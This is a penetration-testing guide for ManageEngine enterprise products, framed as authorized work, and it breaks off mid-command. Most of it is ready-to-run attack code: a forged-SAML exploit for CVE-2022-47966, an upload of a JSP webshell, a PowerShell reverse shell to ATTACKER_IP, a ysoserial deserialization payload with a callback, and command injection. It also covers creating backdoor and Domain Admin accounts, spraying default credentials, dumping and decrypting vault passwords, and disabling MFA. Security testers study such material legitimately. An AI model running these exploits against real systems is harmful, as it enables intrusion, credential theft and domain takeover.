ManageEngine — a division of Zoho Corporation — produces over 60 IT management products deployed across enterprises worldwide: help desks, identity management, privileged access management, network monitoring, and SIEM. Their products sit deep inside enterprise networks with privileged access to Active Directory, all managed endpoints, and stored credentials for every connected system. CVE-2022-47966 (CVSS 9.8) affected 24 ManageEngine products simultaneously, enabling unauthenticated remote code execution through a SAML SSO XML signature bypass. This guide covers authorized ManageEngine penetration testing from initial discovery through credential harvesting and Active Directory compromise.
ManageEngine's product suite spans every tier of enterprise IT. From a penetration testing perspective, each product represents a distinct attack surface with different default ports, authentication mechanisms, and post-compromise value. Understanding the landscape determines which targets to prioritize during scoping.
| Product | Default Port(s) | Function | Post-Compromise Value |
|---|---|---|---|
| ServiceDesk Plus | 8080, 8443 | ITSM / Help Desk | All ticket data, attached files, user PII, integrated AD credentials |
| ADManager Plus | 8080 | Active Directory management | Effectively Domain Admin — can create/modify/delete AD objects, reset passwords, add accounts to privileged groups |
| ADSelfService Plus | 8888 | Self-service AD password reset / MFA | MFA bypass for all AD users; password reset capability for any account |
| PAM360 | 8282 | Privileged Access Management | All stored privileged credentials (root, Domain Admin, service accounts) in bulk export |
| Password Manager Pro | 7272 | Enterprise password vault | Complete credential database export including SSH keys, API keys, database passwords |
| Desktop Central / Endpoint Central | 8020, 8383 | Unified endpoint management | Remote code execution on all managed endpoints (workstations, servers) |
| OpManager | 8060 | Network performance monitoring | Network topology map, SNMP community strings, device credentials |
| OpUtils | 8080 | Network diagnostics / IP management | SNMP credentials, switch port mapping, IP address database |
| EventLog Analyzer | 8400 | Log management / SIEM | All ingested logs, device credentials for log collection agents |
| ADAudit Plus | 8081 | Active Directory auditing | Full AD audit trail, domain controller credentials used for audit collection |
| Log360 | 8082 | SIEM / log correlation | Aggregated logs from all connected sources, integrated product credentials |
| Applications Manager | 9090 | Application performance monitoring | Database connection strings, application server credentials, JMX/SNMP community strings |
The highest-value targets for an authorized assessment are: PAM360 / Password Manager Pro (bulk credential dump), ADManager Plus (Domain Admin-equivalent AD access), and ADSelfService Plus (MFA bypass for every AD user). ServiceDesk Plus and Desktop Central are typically the most commonly encountered internet-facing products and the most frequently exploited entry points.
ManageEngine products run on a Java servlet engine (historically Tomcat, now an embedded variant) and share common URL patterns, response headers, and JavaScript bundles that make fingerprinting reliable. Version detection is critical — the CVE landscape varies significantly by product and version.
# ManageEngine products span many non-standard ports — sweep broadly
nmap -sV -sC --open \
-p 8020,8060,8080,8081,8082,8083,8400,8443,8444,8888,9090,7272,8282,8383 \
-oA manageengine-scan TARGET_IP
# Quick version probe on the most common ports
nmap -sV --open -p 8080,8443,8888,9090,8282,7272 TARGET_IP
# ServiceDesk Plus specific — check both HTTP and HTTPS variants
nmap -sV -p 8080,8443 --script=http-title,http-headers TARGET_IP
# Applications Manager often runs on 9090 alongside other services
nmap -sV -p 9090 --script=http-title TARGET_IP
# ManageEngine products expose version information in multiple locations
# ServiceDesk Plus — version in page title and meta tags
curl -sk http://TARGET:8080/ | grep -i "manageengine\|servicedesk\|version\|build"
curl -sk http://TARGET:8080/index.do | grep -i "version\|build number"
# Generic ManageEngine version endpoint — works across many products
curl -sk http://TARGET:8080/servlet/OPMRequestHandlerServlet \
--data "method=getServerDetails" | python3 -m json.tool
# Check the login page for product identification and build number
curl -sk http://TARGET:8080/webclient/index.html | grep -i "version\|build\|product"
curl -sk http://TARGET:8080/Login.do | grep -i "manageengine\|version\|build"
# ADSelfService Plus version endpoint (unauthenticated)
curl -sk http://TARGET:8888/servlet/ADSelfService?action=getProductVersion
# PAM360 version banner
curl -sk https://TARGET:8282/servlet/AMUserRequestHandler?method=getProductVersion \
-k | python3 -m json.tool
# Desktop Central / Endpoint Central version
curl -sk http://TARGET:8020/dcapi/getProductVersion | python3 -m json.tool
# HTTP response headers — ManageEngine often reveals product name in headers
curl -sk -I http://TARGET:8080/ | grep -i "server\|x-powered\|manageengine"
# Check for exposed build info files
for PATH in "/serverinfo.jsp" "/AboutPage.do" "/build.html" "/version.txt" \
"/WEB-INF/web.xml" "/ManageEngine/"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" http://TARGET:8080$PATH)
echo "$STATUS http://TARGET:8080$PATH"
done
# CVE-2022-47966 requires SAML SSO to be enabled — detect before attempting
# SAML endpoints are exposed even when SSO is not the primary auth method
# Check for SAML SSO endpoints
curl -sk http://TARGET:8080/SamlResponseServlet -I
curl -sk http://TARGET:8080/servlet/samlResponseServlet -I
# HTTP 200 or 405 (Method Not Allowed) indicates SAML is configured
# ServiceDesk Plus SAML detection
curl -sk "http://TARGET:8080/SamlResponseServlet" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "SAMLResponse=test" -v 2>&1 | grep -i "HTTP\|location\|saml\|error"
# If SAML is configured, the login page shows SSO option
curl -sk http://TARGET:8080/Login.do | grep -i "sso\|saml\|single sign"
# Check for SAML metadata endpoint (exposes SP configuration)
curl -sk http://TARGET:8080/samlsso/metadata -I
curl -sk http://TARGET:8080/SamlMetadata.do
CVE-2022-47966 is a critical unauthenticated remote code execution vulnerability affecting 24 ManageEngine products simultaneously. The root cause is ManageEngine's use of a vulnerable version of Apache Santuario (xmlsec) for XML digital signature verification in its SAML SSO implementation. When SAML SSO is enabled (even if not actively used as the primary authentication method), an attacker can craft a malicious SAMLResponse that bypasses signature validation entirely, gaining unauthenticated access and ultimately arbitrary code execution as the service account running ManageEngine (often SYSTEM on Windows).
ManageEngine products prior to the patched builds used Apache Santuario (xmlsec) version 1.4.1, which contained a flaw in the TransformSha1 algorithm implementation. When processing an XML digital signature, Santuario failed to correctly validate the Reference element URI under certain conditions. An attacker could submit a SAML assertion signed with a self-signed certificate (or no valid certificate at all) and the signature verification would succeed, treating the assertion as having been issued by the trusted Identity Provider. The ManageEngine application would then create an authenticated session for any user named in the SAML assertion, including the built-in administrator.
# Step 1: Verify SAML endpoint is enabled (unauthenticated check)
curl -sk -X POST "http://TARGET:8080/SamlResponseServlet" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "SAMLResponse=AAAAAA==" -v 2>&1 | grep -i "HTTP\|302\|error\|invalid"
# A response other than 404 confirms SAML is configured
# Step 2: Generate a self-signed certificate to sign the forged assertion
openssl req -x509 -newkey rsa:2048 -keyout saml_key.pem -out saml_cert.pem \
-days 30 -nodes -subj "/CN=attacker-idp"
# Step 3: Craft and sign malicious SAML assertion (Python)
python3 << 'EOF'
from lxml import etree
from signxml import XMLSigner, methods
import base64
import datetime
import sys
# Target admin username — ManageEngine uses 'administrator' as default admin
TARGET_USER = "administrator"
TARGET_EMAIL = "administrator@corp.local"
# Build the SAML assertion XML structure
now = datetime.datetime.utcnow()
expire = now + datetime.timedelta(hours=1)
assertion_xml = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_manageengine_bypass_{now.strftime('%Y%m%d%H%M%S')}"
Version="2.0" IssueInstant="{now.isoformat()}Z"
Destination="http://TARGET:8080/SamlResponseServlet">
<saml:Issuer>https://attacker-idp.local/saml</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion Version="2.0" IssueInstant="{now.isoformat()}Z">
<saml:Issuer>https://attacker-idp.local/saml</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
{TARGET_EMAIL}
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="{expire.isoformat()}Z"
Recipient="http://TARGET:8080/SamlResponseServlet"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="{now.isoformat()}Z" NotOnOrAfter="{expire.isoformat()}Z">
<saml:AudienceRestriction>
<saml:Audience>http://TARGET:8080</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AttributeStatement>
<saml:Attribute Name="EmailAddress">
<saml:AttributeValue>{TARGET_EMAIL}</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="UserPrincipalName">
<saml:AttributeValue>{TARGET_USER}</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>"""
# Sign with the self-signed attacker certificate (Santuario fails to validate issuer)
root = etree.fromstring(assertion_xml.encode())
with open("saml_cert.pem", "rb") as f:
cert = f.read()
with open("saml_key.pem", "rb") as f:
key = f.read()
signer = XMLSigner(method=methods.enveloped, digest_algorithm="sha1")
signed = signer.sign(root, key=key, cert=cert)
payload = base64.b64encode(etree.tostring(signed)).decode()
print(payload)
EOF
# Step 4: Submit forged SAMLResponse to obtain authenticated session
curl -sk -c admin_session.txt -X POST "http://TARGET:8080/SamlResponseServlet" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "SAMLResponse=$(python3 generate_saml.py)" \
-L -v 2>&1 | grep -i "location\|set-cookie\|logged\|dashboard"
# Successful bypass: HTTP 302 redirect to /webclient/index.html#/dashboard
# Session cookies (JSESSIONID, sdpcsrftoken) are now saved in admin_session.txt
# Step 5: Verify authenticated access
curl -sk -b admin_session.txt "http://TARGET:8080/api/v3/administrators" \
-H "Accept: application/json" | python3 -m json.tool
# With administrator access obtained via SAML bypass,
# escalate to OS-level RCE using ManageEngine's built-in script execution features
# ServiceDesk Plus — custom script execution via Automation module
# Navigate to: Setup > Automation > Custom Triggers > Script Actions
# ManageEngine allows PowerShell/VBScript/bash execution as the service account
# Alternative: upload a JSP webshell via the file attachment mechanism
# ManageEngine stores uploaded files in predictable paths
# Detect the ManageEngine installation directory via API
curl -sk -b admin_session.txt "http://TARGET:8080/api/v3/configurations" \
-H "Accept: application/json" | python3 -m json.tool | grep -i "path\|install\|home"
# ServiceDesk Plus scheduled reports can execute system commands
# POST a new custom report with OS command injection in the report name parameter
curl -sk -b admin_session.txt -X POST "http://TARGET:8080/api/v3/reports" \
-H "Content-Type: application/json" \
-d '{"report":{"name":"test; whoami > C:\\\\ManageEngine\\\\output.txt","type":"custom"}}' \
| python3 -m json.tool
CVE-2021-44077 is a pre-authentication remote code execution vulnerability in ManageEngine ServiceDesk Plus affecting versions prior to 11306. The vulnerability exists in the /RestAPI/ImportTechnicians endpoint, which processes CSV imports of technician accounts. This endpoint does not require authentication and accepts multipart file uploads. An attacker can upload a JSP webshell disguised as a CSV file to a predictable path within the ManageEngine web root, then trigger execution by requesting the uploaded file over HTTP.
# Step 1: Verify the vulnerable endpoint exists (no authentication required)
curl -sk -X GET "http://TARGET:8080/RestAPI/ImportTechnicians" -I
# Vulnerable: HTTP 200 or 405 (endpoint exists, expects POST)
# Patched: HTTP 404
# Step 2: Create a JSP webshell payload
cat > webshell.jsp << 'SHELL'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("c");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(
new String[]{System.getProperty("os.name").toLowerCase().contains("win")
? "cmd.exe" : "/bin/bash",
System.getProperty("os.name").toLowerCase().contains("win") ? "/c" : "-c",
cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append("\n");
out.print("<pre>" + sb.toString() + "</pre>");
}
%>
SHELL
# Step 3: Upload the JSP webshell to the unauthenticated ImportTechnicians endpoint
# The endpoint writes the uploaded file to a predictable path in the webapps directory
curl -sk -X POST "http://TARGET:8080/RestAPI/ImportTechnicians" \
-F "file=@webshell.jsp;type=text/plain" \
-F "importType=technician" \
-v 2>&1 | grep -i "HTTP\|location\|upload\|file\|path"
# ManageEngine writes the file to: /opt/manageengine/servicedesk/webapps/ROOT/
# or on Windows: C:\ManageEngine\ServiceDesk\webapps\ROOT\
# The filename is typically preserved as uploaded
# Step 4: Access the webshell (no authentication required to execute)
curl -sk "http://TARGET:8080/webshell.jsp?c=whoami"
curl -sk "http://TARGET:8080/webshell.jsp?c=ipconfig" # Windows
curl -sk "http://TARGET:8080/webshell.jsp?c=id" # Linux
# If ManageEngine runs as SYSTEM (Windows default), the output will show:
# nt authority\system
# Step 5: Establish a reverse shell from the webshell
# Generate PowerShell reverse shell payload
LHOST="ATTACKER_IP"
LPORT=4444
PWSH_CMD="powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
# Start netcat listener
nc -lvnp $LPORT &
# Trigger reverse shell via webshell
curl -sk "http://TARGET:8080/webshell.jsp" --data-urlencode "c=$PWSH_CMD"
CVE-2022-35405 is an unauthenticated remote code execution vulnerability in ManageEngine PAM360 (builds prior to 5500) and Password Manager Pro (builds prior to 12101). The vulnerability exists in the /api/pam/ExportImport endpoint, which processes XML data for configuration import/export operations. The endpoint is vulnerable to XMLRPC deserialization — an attacker sends a crafted XML payload containing a serialized Java object using a known gadget chain, which is deserialized without validation and achieves OS command execution.
# Step 1: Confirm the vulnerable endpoint is reachable
curl -sk -X POST "https://TARGET:8282/api/pam/ExportImport" \
-H "Content-Type: application/xml" \
--data "<?xml version='1.0'?><test/>" -k -v 2>&1 | grep -i "HTTP\|error\|500\|400"
# HTTP 500 or XML parsing error = endpoint exists
# Step 2: Generate a Java deserialization payload using ysoserial
# The CommonsCollections gadget chain works against ManageEngine's embedded JRE
# PAM360 typically ships with Java 8 and Commons Collections 3.x in the classpath
java -jar ysoserial.jar CommonsCollections6 "curl http://ATTACKER_IP:8888/pwned" \
| base64 -w 0 > payload_b64.txt
# Alternative: use CommonsCollections1 for older Java 8 targets
java -jar ysoserial.jar CommonsCollections1 \
"powershell -enc BASE64_ENCODED_CMD" | base64 -w 0 > payload_b64.txt
# Step 3: Wrap the payload in the XMLRPC structure expected by ExportImport
python3 << 'EOF'
import base64
import requests
import urllib3
urllib3.disable_warnings()
TARGET = "https://TARGET_IP:8282"
# Read the ysoserial-generated payload
with open("payload_b64.txt") as f:
payload_b64 = f.read().strip()
# Craft XMLRPC envelope with serialized Java object
xmlrpc_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>ExportImport.importConfig</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
{payload_b64}
</ex:serializable>
</value>
</param>
</params>
</methodCall>"""
r = requests.post(
f"{TARGET}/api/pam/ExportImport",
data=xmlrpc_payload,
headers={"Content-Type": "text/xml"},
verify=False,
timeout=15
)
print(f"Status: {r.status_code}")
print(r.text[:500])
EOF
# Step 4: Verify code execution via OOB callback
# Start HTTP listener on attacker machine
python3 -m http.server 8888
# If request arrives at the listener, deserialization executed successfully
# The URL /pwned will be requested by the ManageEngine server process
# Step 5: Establish persistence — add admin account via API (post-RCE)
# Once OS access is obtained, ManageEngine admin API is accessible locally
curl -sk -X POST "https://localhost:8282/api/pam/User" \
-H "AUTHTOKEN: EXTRACTED_TOKEN" \
-H "Content-Type: application/json" \
-d '{"operation":{"Details":{"NAME":"backdoor","PASSWORD":"B4ckdoor!23",
"ROLE":"Administrator","EMAIL":"backdoor@corp.local"}}}' \
| python3 -m json.tool
# Once authenticated (via RCE or default credentials), extract all stored passwords
# PAM360's Account bulk export API returns all credentials in a single call
# Authenticate to PAM360 API
curl -sk -X POST "https://TARGET:8282/api/pam/auth" \
-H "Content-Type: application/json" \
-d '{"operation":{"Details":{"USERNAME":"admin","PASSWORD":"admin","DOMAINNAME":"LOCAL"}}}' \
-k | python3 -m json.tool
# Extract the AUTHTOKEN from the response
AUTHTOKEN="EXTRACTED_TOKEN_HERE"
# Enumerate all Resource Groups (vaults)
curl -sk -X GET "https://TARGET:8282/api/pam/ResourceGroup" \
-H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool
# Get all accounts across all resources
curl -sk -X GET "https://TARGET:8282/api/pam/Account" \
-H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for r in data.get('operation', {}).get('Details', []):
print(f'Resource: {r.get(\"RESOURCE NAME\")}, Account: {r.get(\"ACCOUNT NAME\")}')
"
# Request the actual password for each account ID
# Replace ACCOUNT_ID with values from the enumeration above
curl -sk -X GET "https://TARGET:8282/api/pam/Account/ACCOUNT_ID/Password" \
-H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool
# Bulk password export via the ExportImport endpoint (authenticated)
curl -sk -X GET "https://TARGET:8282/api/pam/ExportImport/Export?resourceType=ALL" \
-H "AUTHTOKEN: $AUTHTOKEN" -k --output pam360_export.xml
ManageEngine ships every product with default administrator credentials. These are frequently unchanged in lab, staging, and even production environments — particularly in organizations that deployed ManageEngine years ago when post-installation hardening checklists were less rigorous. Default credential testing should always precede CVE exploitation attempts.
| Product | Default Username | Default Password | Login URL |
|---|---|---|---|
| ServiceDesk Plus | administrator | administrator | http://TARGET:8080/webclient/index.html |
| ADManager Plus | admin | admin | http://TARGET:8080/webclient/ |
| ADSelfService Plus | admin | admin | http://TARGET:8888/webclient/ |
| PAM360 | admin | admin | https://TARGET:8282/ |
| Password Manager Pro | admin | admin | https://TARGET:7272/ |
| Desktop Central | admin | admin | http://TARGET:8020/ |
| OpManager | admin | admin | http://TARGET:8060/ |
| EventLog Analyzer | admin | admin | http://TARGET:8400/ |
| Applications Manager | admin | admin | http://TARGET:9090/AppManager/ |
# Test ServiceDesk Plus default credentials via the webclient API
curl -sk -c sdp_session.txt -X POST \
"http://TARGET:8080/j_security_check" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "j_username=administrator&j_password=administrator&hidden=yes" \
-L -D - | grep -i "location\|302\|dashboard\|logged"
# Test the REST API authentication (available in newer builds — more reliable indicator)
curl -sk -X POST "http://TARGET:8080/api/v3/authenticate" \
-H "Content-Type: application/json" \
-d '{"authdata":{"username":"administrator","password":"administrator"}}' \
| python3 -m json.tool
# Test ADManager Plus / ADSelfService Plus
curl -sk -c admin_session.txt -X POST \
"http://TARGET:8080/j_security_check" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "j_username=admin&j_password=admin" \
-L | grep -i "dashboard\|logged\|403\|error"
# PAM360 / Password Manager Pro API authentication
for PASS in "admin" "password" "Admin@123" "ManageEngine@123" "Zoho@123"; do
echo -n "Testing admin:$PASS - "
curl -sk -X POST "https://TARGET:8282/api/pam/auth" \
-H "Content-Type: application/json" \
-d "{\"operation\":{\"Details\":{\"USERNAME\":\"admin\",\"PASSWORD\":\"$PASS\",\"DOMAINNAME\":\"LOCAL\"}}}" \
-k | grep -o "authresult\|FAILURE\|Success\|token" | head -1
done
# Test OpManager default credentials
curl -sk -c opm_session.txt -X POST "http://TARGET:8060/apiclient/ember/Login.jsp" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "clienttype=html&ScreenWidth=1920&ScreenHeight=1080&username=admin&password=admin" \
-L | grep -i "dashboard\|network\|logout\|error"
# Applications Manager — distinct login form
curl -sk -c appman_session.txt -X POST \
"http://TARGET:9090/AppManager/j_spring_security_check" \
-d "j_username=admin&j_password=admin&_spring_security_remember_me=on" \
-L | grep -i "dashboard\|Monitor\|logout\|denied"
ManageEngine products expose REST APIs for integration and automation. These APIs use API key authentication (a static bearer token) or session-based JSESSIONID cookies. API keys are long-lived and do not expire by default, making them high-value persistence mechanisms. Administrators frequently embed API keys in monitoring scripts and configuration files where they can be harvested during a broader compromise.
# ServiceDesk Plus API key location — visible in admin profile settings
# With an authenticated session:
curl -sk -b sdp_session.txt "http://TARGET:8080/api/v3/techniciankeys" \
-H "Accept: application/json" | python3 -m json.tool
# Generate a new API key for persistence (requires admin session)
curl -sk -b sdp_session.txt -X POST "http://TARGET:8080/api/v3/techniciankeys" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{"technician_key":{"description":"backup-monitoring-key"}}' \
| python3 -m json.tool
# Use the API key directly (preferred — session-independent, persistent)
APIKEY="EXTRACTED_KEY"
curl -sk "http://TARGET:8080/api/v3/requests?APIKEY=$APIKEY&input_data=%7B%7D" \
| python3 -m json.tool
# Enumerate all service desk requests (tickets) — may contain passwords in descriptions
curl -sk "http://TARGET:8080/api/v3/requests" \
-H "APIKEY: $APIKEY" \
-G --data-urlencode 'input_data={"list_info":{"row_count":100,"start_index":1}}' \
| python3 -m json.tool
# Search tickets for credential keywords
curl -sk "http://TARGET:8080/api/v3/requests/_search" \
-H "APIKEY: $APIKEY" \
-H "Content-Type: application/json" \
-d '{"search_fields":{"subject":"password reset","description":"password"}}' \
| python3 -m json.tool
# PAM360 API — enumerate all resources (servers/devices with stored credentials)
curl -sk "https://TARGET:8282/api/pam/Resource" \
-H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool
# Bulk account export (all credentials in a single JSON response)
curl -sk "https://TARGET:8282/api/pam/Account?LIST=true" \
-H "AUTHTOKEN: $AUTHTOKEN" -k | python3 -m json.tool
# ManageEngine REST API documentation is sometimes exposed on the server
curl -sk "http://TARGET:8080/api/v3/" | python3 -m json.tool
curl -sk "http://TARGET:8080/api/" | python3 -m json.tool
# Check for Swagger/OpenAPI spec exposure
for PATH in "/swagger-ui.html" "/api-docs" "/v3/api-docs" "/swagger.json" \
"/api/swagger" "/webclient/api-spec"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" http://TARGET:8080$PATH)
[[ "$STATUS" == "200" ]] && echo "FOUND: $STATUS http://TARGET:8080$PATH"
done
# ServiceDesk Plus API endpoint enumeration
for RESOURCE in "requests" "problems" "changes" "assets" "accounts" \
"technicians" "users" "configurations" "reports" \
"solutions" "topics" "servicecatalog"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
"http://TARGET:8080/api/v3/$RESOURCE" -H "APIKEY: $APIKEY")
echo "$STATUS /api/v3/$RESOURCE"
done
ManageEngine products store their configuration data, credential vaults, and operational data in either an embedded PostgreSQL instance (bundled with the product) or an external Microsoft SQL Server configured at installation. The embedded PostgreSQL instance runs locally with a known default superuser (postgres) and its data directory is in a predictable location within the ManageEngine installation path. On Windows, ManageEngine typically runs as SYSTEM, meaning the embedded PostgreSQL is accessible without OS-level credentials once a webshell or RCE foothold is established.
# ManageEngine standard installation paths (Windows)
# ServiceDesk Plus: C:\ManageEngine\ServiceDesk\
# PAM360: C:\ManageEngine\PAM360\
# ADManager Plus: C:\ManageEngine\ADManager Plus\
# Desktop Central: C:\ManageEngine\DesktopCentral_Server\
# The embedded PostgreSQL binary is at:
# C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe
# Connect to the embedded PostgreSQL (no password required from local OS shell)
# The embedded pgsql listens on a non-standard port (65432 or 33306 depending on product)
# Run from a webshell or reverse shell as SYSTEM:
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
-U postgres -p 65432 -h 127.0.0.1 -c "\l"
# List all databases
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
-U postgres -p 65432 -h 127.0.0.1 -c "\l"
# Connect to the ServiceDesk database (typically 'sdpdb' or 'servicedesk')
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
-U postgres -p 65432 -h 127.0.0.1 -d sdpdb
# Extract technician (staff) account credentials
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
-U postgres -p 65432 -h 127.0.0.1 -d sdpdb \
-c "SELECT loginname, password, emailid, isadmin FROM AaaUser LIMIT 50;"
# Extract requester (end user) account data
"C:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe" \
-U postgres -p 65432 -h 127.0.0.1 -d sdpdb \
-c "SELECT loginname, password, emailid FROM AaaUser WHERE USER_TYPE='Requester';"
# Linux installation paths:
# /opt/manageengine/servicedesk/
# /opt/manageengine/pam360/
# Embedded pgsql: /opt/manageengine/servicedesk/pgsql/bin/psql
# ManageEngine creates regular backup archives in predictable locations
# These backups contain the full database dump and configuration files
# Locate backup files (run from webshell/reverse shell)
dir /s /b "C:\ManageEngine\ServiceDesk\backup\*.zip" 2>nul
dir /s /b "C:\ManageEngine\ServiceDesk\backup\*.gz" 2>nul
# Linux equivalent
find /opt/manageengine/ -name "*.zip" -newer /opt/manageengine -maxdepth 5 2>/dev/null
find /opt/manageengine/ -name "backup*" -type f 2>/dev/null
# Backup archives typically named: SDPBackup-YYYY-MM-DD_HH-MM.zip
# Extract and inspect the database dump inside the backup
# PowerShell extract:
Expand-Archive "C:\ManageEngine\ServiceDesk\backup\SDPBackup-2026-07-04_02-00.zip" \
-DestinationPath "C:\temp\sdp_backup"
# The extracted directory contains:
# - sdpdb.backup (pg_dump format — PostgreSQL dump)
# - server.xml (Tomcat configuration with any JDBC connection string details)
# - conf/ directory with application configuration files
# Restore and query the backup database on attacker-controlled PostgreSQL
pg_restore -d sdpdb_copy "C:\temp\sdp_backup\sdpdb.backup"
psql -d sdpdb_copy -c "SELECT loginname, password FROM AaaUser WHERE isadmin='1';"
# Extract LDAP/AD bind credentials from configuration
grep -r "binddn\|bindpassword\|ldap.password\|ad.password" \
/opt/manageengine/servicedesk/conf/ 2>/dev/null
# ServiceDesk Plus stores LDAP configuration in:
type "C:\ManageEngine\ServiceDesk\conf\customer.xml" | findstr /i "password bind ldap"
# PAM360 stores all privileged credentials in an AES-encrypted column within PostgreSQL
# The encryption key is derived from the master password and stored in conf/
# PAM360 database location
"C:\ManageEngine\PAM360\pgsql\bin\psql.exe" \
-U postgres -p 65432 -h 127.0.0.1 -d PassTrix \
-c "SELECT RESOURCE_NAME, ACCOUNT_NAME, PASSWORD FROM Accounts LIMIT 20;"
# The PASSWORD column stores AES-encrypted values
# The encryption key is in: C:\ManageEngine\PAM360\conf\encryptionKey.xml
type "C:\ManageEngine\PAM360\conf\encryptionKey.xml"
# With the encryption key, decrypt stored passwords using the PAM360 key format
python3 << 'EOF'
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
# Extract these values from the database and encryptionKey.xml
ENC_KEY = bytes.fromhex("EXTRACTED_HEX_KEY_FROM_XML")
ENC_PASSWORD = base64.b64decode("BASE64_ENCRYPTED_PASSWORD_FROM_DB")
# PAM360 uses AES-128-CBC with a fixed IV derived from the key
iv = ENC_KEY[:16]
cipher = AES.new(ENC_KEY, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ENC_PASSWORD), 16)
print(f"Decrypted password: {plaintext.decode()}")
EOF
ManageEngine's identity-focused products (ADManager Plus, ADSelfService Plus, ADAudit Plus) integrate deeply with Active Directory using service accounts that often have elevated privileges. ADManager Plus, in particular, is frequently configured with Domain Admin rights to fulfil its user provisioning and management functions — making it a critical lateral movement target.
# ADManager Plus requires a service account with elevated AD permissions
# In many deployments this account has Domain Admin rights
# Locate the service account credentials in the configuration
# Configuration file location (Windows)
type "C:\ManageEngine\ADManager Plus\conf\adsettings.conf"
# Look for: DOMAIN_CONTROLLER, SERVICE_ACCOUNT_NAME, SERVICE_ACCOUNT_PASSWORD
# The password is stored obfuscated — use ManageEngine's own decryption
# Alternatively, extract via the web UI with admin access:
curl -sk -b admin_session.txt \
"http://TARGET:8080/api/organization/domain" \
-H "Accept: application/json" | python3 -m json.tool | grep -i "password\|credential\|secret"
# With ADManager Plus admin access, enumerate all domain users
curl -sk "http://TARGET:8080/api/user/getAllUsers?AUTHTOKEN=$APIKEY&domainName=corp.local" \
| python3 -m json.tool
# Reset any AD user's password via ADManager Plus API (no AD admin needed separately)
curl -sk -X POST "http://TARGET:8080/api/user/resetPassword" \
-H "AUTHTOKEN: $APIKEY" \
-H "Content-Type: application/json" \
-d '{"logonname":"targetuser","newpassword":"P@ssw0rd123!","domainname":"corp.local"}' \
| python3 -m json.tool
# Add a user to Domain Admins group via ADManager Plus
curl -sk -X POST "http://TARGET:8080/api/group/addMember" \
-H "AUTHTOKEN: $APIKEY" \
-H "Content-Type: application/json" \
-d '{"groupdn":"CN=Domain Admins,CN=Users,DC=corp,DC=local",
"memberdn":"CN=targetuser,CN=Users,DC=corp,DC=local",
"domainname":"corp.local"}' \
| python3 -m json.tool
# Create a new AD user with arbitrary group membership
curl -sk -X POST "http://TARGET:8080/api/user/createUser" \
-H "AUTHTOKEN: $APIKEY" \
-H "Content-Type: application/json" \
-d '{"firstname":"Backup","lastname":"Admin",
"logonname":"backupadm","password":"B4ckup@dm1n!",
"domainname":"corp.local",
"groups":["CN=Domain Admins,CN=Users,DC=corp,DC=local"]}' \
| python3 -m json.tool
# ADSelfService Plus allows users to reset their own AD passwords after MFA verification
# The MFA enforcement relies on the portal — bypass enables password reset for any account
# CVE-2021-40539: ADSelfService Plus pre-auth REST API bypass (CVSS 9.8)
# Affects builds prior to 6114 — allows bypassing authentication entirely
curl -sk -X GET \
"http://TARGET:8888/./RestAPI/LogonCustomization" \
-H "Accept: application/json"
# The /. path normalization bypasses servlet filter authentication checks
# With access, modify MFA configuration to disable for target accounts
curl -sk -X POST "http://TARGET:8888/RestAPI/ADSelfService" \
-H "Accept: application/json" \
-d "methodToCall=disableMFA&username=targetuser&domainname=corp.local" \
| python3 -m json.tool
# Extract LDAP bind credentials used by ADSelfService Plus
type "C:\ManageEngine\ADSelfService Plus\conf\adsettings.conf" 2>nul
# or
